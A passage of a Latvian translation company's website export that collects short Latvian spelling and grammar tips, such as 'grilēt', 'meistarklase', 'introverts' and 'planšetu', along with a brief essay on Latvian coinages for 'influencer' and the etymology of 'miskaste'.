darbība, dažādās sociālo tīklu platformās izplatot un reklamējot produktus. Runa, protams, ir par tā dēvētajiem influenceriem jeb viedokļu ietekmētājiem. Jā, tieši tā! Iespējams, ne visi to būs dzirdējuši, bet Latvijas Zinātņu akadēmijas Terminoloģijas komisija jau 2019. gada 26. novembra sēdē nolēma, ka no angļu valodas aizgūtais vārds influencer latviešu valodā atveidojams kā ietekmētājs. Kā skaidro Terminoloģijas komisijas pārstāvji,“ angļu valodas vārds influencer ir atvasinājums no vārda influence un būtībā raksturo cilvēku, kurš ir aktīvs sociālo tīklu lietotājs ar mērķi ietekmēt sabiedrības uzvedības un domāšanas paradumus”. Tomēr nešķiet, ka sabiedrība šo jauno latviskojumu būtu ņēmusi vērā vai pat vispār ievērojusi tā eksistenci. Tādēļ viedokļu apmaiņas vietnē Twitter palaikam uzvirmo arvien jauni, asprātīgi ierosinājumi šī anglicisma aizstāšanai, lai piešķirtu influenceriem latviskāku identitāti. Līdz ar influenceru “brīvo” un reizēm pat maldinošo pieeju, veidojot sava sociālās vietnes profila saturu, cilvēki šo darboņu apzīmēšanai bieži mēdz izmantot vārdu ar nievājošu nozīmi – “ietekmeļi”, kur apvienoti divi vārdi – “ietekme” un “meļi”. Tomēr cilvēku izdomai un asprātībai nav robežu, ko apliecina arī citi interesanti ierosinājumi, kā, piemēram, priekšlikums influencerus pārdēvēt par “iedvesmīšiem”. Tiesa gan, galvenais iebildums pret šādu apzīmējumu ir atziņa, ka influenceru izdarības ne vienmēr ir iedvesmojošas, tādēļ izskan arī rosinājumi pārdēvēt tos, piemēram, par “ietekšņiem”, “ieteicējiem”, “domvežiem” vai vienkārši par “satura veidotājiem”. Sociālajās vietnēs plaši izmantotu anglicismu aizstāšana ar latviskiem jaundarinājumiem, šķiet, varētu būt kļuvusi par latviešu jauno aizraušanos. Piemēram, pagājušā gada nogalē popularitāti iemantoja sociālo vietņu pogas “like/patīk” latviskojums “tīkšķis”, atjautīgi apspēlējot vārdus “tīk, patīk” un “īkšķis”, kas ir šīs pogas simbols sociālajā vietnē Facebook. Lai gan mūsdienās ar vārddarināšanu vairāk nodarbojas valodnieki, šāda pēdējā laikā aktīva un argumentēta sabiedrības aizraušanās ar jaunvārdu tapināšanu liek domāt, ka daļai Latvijas iedzīvotāju latviešu valoda un tās lietojums nav vienaldzīgs. Vienlaikus, šķiet, ka atšķirībā no valodniekiem parastā valodas lietotāja mērķis ir ne tik daudz izskaust internacionālismus, cik pats jaunvārdu veidošanas process kā spēle, reaģējot uz sabiedrībā aktuāliem notikumiem. Trāpīgi latviskoti, labskanīgi un viegli uztverami jaunievedumi valodā iedzīvojas labi, turklāt jāpiebilst, ka prasmīgas un attapīgas rotaļas ar vārdiem, darinot jaunas nozīmes, prasa diezgan plašu vārdu krājumu, kā arī zināšanas par vārdu struktūru un tās veidošanas likumsakarībām. Būtu lieliski, ja šāda sabiedrības jaunrade tiktu arvien vairāk veicināta arī no pašu valodnieku puses, jo tieši tas ļauj mūsu valodai šajā digitālajā laikmetā neizšķīst. --- > Vai dārzeņus un gaļu grilēsim vai grillēsim? Daudzi noderīgi latviešu valodas padomi vienuviet! Ieskaties un uzzini atbildi! - Published: 2019-12-27 - Modified: 2021-11-25 - URL: https://skrivanek.lv/grilet-pret-grillet/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional GRILĒT PRET GRILLĒT 1 Tātad grilēt var cāļus, grilēsim arī zivis, grilēsim burkānus utt. Vai dārzeņus un gaļu grilēsim vai grillēsim? Cepšanu uz restēm vai speciālā kamerā sauc par grilēšanu. Vārds aizgūts no angļu vārda „to grill”, taču latviešu valodā rakstāms ar vienu līdzskani „l”. Tātad grilēt var cāļus, grilēsim arī zivis, grilēsim burkānus utt. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu. KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai apmeklēsim meistarklasi vai meisterklasi? Ieskaties un uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - Published: 2019-12-23 - Modified: 2024-09-02 - URL: https://skrivanek.lv/meistarklase-pret-meisterklase/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional MEISTARKLASE VAI MEISTERKLASE 1 Vai apmeklēsim meistarklasi vai meisterklasi? Vārds „meistarklase” ir saliktenis, kurš darināts no vārdiem „meistars” un „klase”. Otrās salikteņa daļas pareizrakstībā parasti kļūdu nav, taču nereti pirmā tiek rakstīta „meister-”, nevis „meistar-”. Vārds „meistars” aizgūts no vācu valodas vārda „Meister”. Vācu valodas ietekmē arī latviešu valodā vārdā pēdējā zilbē rakstīts un runāts patskanis „e”. Tas raksturīgs arī 19. un 20. gadsimta mijas literatūrai: piemēram, Rūdolfa Blaumaņa „Skroderdienās Silmačos” Dūdars tiek dēvēts par meisteru. Tāda forma sastopama arī izloksnēs. Literārajā valodā šajā vārdā un tā atvasinājumos pēdējā zilbē tomēr rakstāms un izrunājams patskanis „a”: „meistars”, „meistarīgs”, „meistardarbs”, „meistarklase”. Tātad apmeklēsim meistarklasi. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai dzīvokli kaimiņš applūdina vai appludina? Ieskaties un uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - Published: 2019-12-23 - Modified: 2022-12-27 - URL: https://skrivanek.lv/appludinat-pret-appludinat/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional APPLŪDINĀT PRET APPLUDINĀT 1 Vai dzīvokli kaimiņš applūdina vai appludina? Vārds „pludināt” nozīmē 'virzīt (peldošus kokmateriālus) pa ūdenstilpēm'. Pludināt tātad var plostus vai laiviņas pa upi, ezeru. Savukārt „plūdināt” nozīmē ‘panākt, būt par cēloni, ka šķidrums plūst, piemēram, pa kādu virsmu u. tml. ’ Šis darbības vārds bieži lietots ar priedēkli „ap-” – „applūdināt” – ar nozīmi ‘plūstot (kam virsū, pāri), apklāt’. Ja ar šķidrumu kaut ko apklājam, tad lietojam darbības vārdu „applūdināt”. Tātad kaimiņš dzīvokli applūdina. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai es pielieku aci pie tālskaša vai tālskata? Ieskaties un uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - Published: 2019-12-23 - Modified: 2024-09-23 - URL: https://skrivanek.lv/talskasa-pret-talskata/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional TĀLSKAŠA PRET TĀLSKATA 1 Vai es pielieku aci pie tālskaša vai tālskata? Vārds „tālskatis” ir 2. deklinācijas lietvārds (vienskaitļa nominatīva galotne „-is”). 2. deklinācijas lietvārdiem vienskaitļa ģenitīvā un visos daudzskaitļa locījumos galotnes priekšā parasti ir līdzskaņu mija, piemēram, „brālis – brāļa”, „kabacis – kabača”. Tomēr ir izņēmumi. Viens no izņēmumiem ir daži salikteņi, kuros galotnes priekšā ir līdzskanis „t”: „tumšmatis – tumšmata”, „tālskatis – tālskata”. Tātad es pielieku aci pie tālskata. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Ieskaties un uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - Published: 2019-12-23 - Modified: 2022-12-27 - URL: https://skrivanek.lv/janim-klints-pret-janim-klintij-pret-janim-klintim/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional JĀNIM KLINTS PRET JĀNIM KLINTIJ PRET JĀNIM KLINTIM 1 Kam adresēsim sūtījumu? Ja vīrieša uzvārda pamatā ir sieviešu dzimtes sugasvārds ar galotni „-s”, kā „Auss”, „Klints”, „Zoss”, datīvā (Kam? ) uzvārds veidojams ar galotni „-im”: „Ausim”, „Klintim”, „Zosim”. Citos locījumos vīriešu un sieviešu dzimtē šie uzvārdi lokāmi vienādi: „iesim ciemos pie Annas Klints un Jāņa Zoss”, „mani draugi ir Anna un Jānis Ausis” utt. Tātad sūtījumu adresēsim Jānim Klintim. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Virsraksts „Zelta atkritumi. Rīdziniekiem būs jāmaina miskastes paradumi un jāmaksā vairāk” licis domāt par vārdu „miskaste”: kā tas radies? Vai tam ir saistība ar vārdu „mist”, proti, „dzīvot”? - Published: 2019-11-25 - Modified: 2021-05-06 - URL: https://skrivanek.lv/iznesisi-miskasti/ - Kategorijas: valodas pērles - Translation Priorities: Optional IZNESĪSI MISKASTI? Šoruden atkritumi radījuši ne mazums bažu – izrādās, Latvija atkritumu apsaimniekošanā ir tālu aiz citām Eiropas Savienības valstīm. Sevišķi sliktā situācijā esot Rīga: mēļo, ka atkritumu bizness galvaspilsētā ir bijis visai netīrs, tāpēc steigšus vajadzīgas pārmaiņas. Virsraksts „Zelta atkritumi. Rīdziniekiem būs jāmaina miskastes paradumi un jāmaksā vairāk” licis domāt par vārdu „miskaste”: kā tas radies? Vai tam ir saistība ar vārdu „mist”, proti, „dzīvot”? Pēdējos gados Latvijā populārs kļuvis bezatkritumu dzīvesveids: parādījušies bezatkritumu veikali, televīzijas pārraidēs bieži stāsta par videi draudzīgiem ikdienas paradumiem un iepazīstina ar cilvēkiem, kuru dzīvesveids der mums par paraugu. Atkritumu šķirošana ir viens no veidiem, kā mazināt ietekmi uz dabu un neslīkt plastmasā. „Iznes miskasti! ” ir katrā mājsaimniecībā bieži dzirdēts mudinājums. Noteikti biežāk nekā „Iznes atkritumu tvertni! ”, kā būtu jāsaka, ievērojot literārās valodas normas. Kur gan radies vārds „miskaste”? Vārda pamatā ir vācu valodas vārds „Mist” ar nozīmi ‘mēsli’ un viduslejasvācu vārds „kaste” ar nozīmi 'noliktava, lāde'. Vārds ir uzskatāms par tiešu vācu valodas pārcēlumu latviešu valodā, tāpēc latviešu literārajā valodā nav vēlams. Vācu valodā pastāv līdzīgi salikteņi, kā „Mistkäfer” ar nozīmi ‘mēslu vabole’, „Mistkübel” – ‘atkritumu spainis’. Vācu valodas ietekmē pastāv arī vārda rakstības variants „mistkaste”. Ir arī rakstītāji, kuri uzskata, ka pareizais rakstījums ir „mizkaste”, un tas ir literārs vārds, kur salikteņa pirmajā daļā ir latviešu valodas vārds „miza”. Skaidrojums ir visai amizants, un varbūt, šķirojot atkritumus, mēs varētu mājās ieviest arī mizu kasti, tomēr latviešu literārajā valodā ir vārdi „atkritumu spainis”, „atkritumu tvertne”, datorterminoloģijā labi pazīstams vārds „atkritne”. Protams, stilistiskos nolūkos plašsaziņas līdzekļos tiek lietoti dažādi valodas līdzekļi, jo autors vēlas vēstījumam piešķirt sulīgākas notis. Viss ir kārtībā, kamēr vien spējam izšķirt, kurās saziņas situācijās tie ir piemēroti, un kurās būtu jāprot izteikties tikai un vienīgi literārajā valodā. Vasilijs Ragačevičs Skrivanek Baltic direktors K. Priedes ilustrācija CITAS VALODAS PĒRLES --- > Rakstīsim epasta vai e-pasta vēstuli? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2019-11-22 - Modified: 2024-10-21 - URL: https://skrivanek.lv/e-pasts-pret-epasts/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional E-PASTS VAI EPASTS 1 Vai rakstīsim epasta vai e-pasta vēstuli? E-pasts ir pilnformas termina „elektroniskais pasts” saīsināta versija. Termina „elektroniskais” saīsinājums ir burts „e”, kuru ar defisi „-” pievieno pamatvārdam. Jāatceras, ka termins „e-pasts” teikuma sākumā rakstāms ar lielo sākumburtu. Tātad noskaidrosim drauga e-pasta adresi, lai nosūtītu viņam e-pasta vēstuli. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Rakstīsim „madracis” vai „matracis”? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2019-11-22 - Modified: 2024-08-13 - URL: https://skrivanek.lv/madracis-pret-matracis/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional MADRACIS PRET MATRACIS 1 Vai rakstīsim „madracis” vai „matracis”? Ar mīkstu vai elastīgu materiālu pildītu priekšmetu gulēšanai dēvē par matraci. Vārds cēlies no arābu valodas vārda „matrah” ‘grīdas spilvens’. Tātad būs „Latvijā ražoti matrači”, „gultas matrači”, „piepūšamais matracis”. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai noslēgtie un atturīgie ir intraverti vai introverti? Uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - Published: 2019-11-22 - Modified: 2024-07-09 - URL: https://skrivanek.lv/intraverts-pret-introverts/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional INTRAVERTS PRET INTROVERTS 1 Vai noslēgtie un atturīgie ir intraverti vai introverti? Nesabiedriskus, uz iekšu vērstus cilvēkus sauc par introvertiem. Atbilstoši pareizrakstības normai šis vārds jāraksta ar „o”. Vārdā lietots latīņu valodas priedēklis „intro-”, kas norāda virzienu, vērstību uz iekšpusi. Šis priedēklis sastopams arī citos svešvārdos, piemēram, introspekcija, introdukcija. Ļoti bieži sastopamā forma „intraverts” droši vien radusies pretējās nozīmes vārda „ekstraverts” rakstījuma ietekmē vai arī pēc latīņu valodas priedēkļa „intra-”, kas norāda, ka kaut kas attiecas uz iekšpusi, kaut kas ir iekšā, kā, piemēram, vārdos „intravenozs”, „intramolekulārs”. Tomēr vārdos „introversija”, „introverts” lietojams priedēklis „intro-”, jo būtiska ir tieši vērstība, virziens uz iekšu, uz sevi. Tātad teiksim: introverts raksturs, introverts cilvēks. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Ieskaties un uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2019-11-22 - Modified: 2024-08-14 - URL: https://skrivanek.lv/jautajumus-kurus-jarisina-pret-jautajumus-kuri-jarisina/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional JAUTĀJUMUS, KURUS JĀRISINA PRET JAUTĀJUMUS, KURI JĀRISINA 1 Kā jāsāk palīgteikums – „kuri jārisina” vai „kurus jārisina”? Ja pirms palīgteikuma, kuru ievada attieksmes vietniekvārds „kas” vai „kurš”, ir vārds akuzatīvā (Ko? ), palīgteikums arī bieži sākas ar vietniekvārdu akuzatīvā, piemēram, „redzu teātri, ko apmeklēsim”, „izvēlos māju, kuru remontēsim”. Ir jāuzmanās gadījumos, kad aiz palīgteikuma ievadītājvārda darbības vārds ir nevis īstenības, bet vajadzības izteiksmē (veido ar priedēkli „jā-”), jo tad vārdi „kas” un „kurš” lietojami nominatīvā (Kas? ): „redzu teātri, kas jāapmeklē”, „izvēlos māju, kura jāremontē”. Tātad mēs nosaucam jautājumus, kuri jārisina. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. Ieskaties un uzzini atbildi! - Published: 2019-11-22 - Modified: 2024-10-21 - URL: https://skrivanek.lv/plansesu-pret-plansetu/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional PLANŠEŠU VAI PLANŠETU 1 Vai teiksim: planšešu remonts vai planšetu remonts? 5. deklinācijas lietvārdiem daudzskaitļa ģenitīvā (Kā? ) ir raksturīga līdzskaņu mija, piemēram: „egle” – „egļu”, „krūze” – „krūžu”. Dažiem 5. deklinācijas lietvārdiem līdzskaņu mijas nav, piemēram: „bāze” – „bāzu”, „basketboliste” – „basketbolistu”, „šprote” – „šprotu”. Arī vārds „planšete” ir 5. deklinācijas lietvārds, kurā līdzskaņu mijas daudzskaitļa ģenitīvā nav: „planšete” – „planšetu”. Tātad teiksim: planšetu remonts. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. 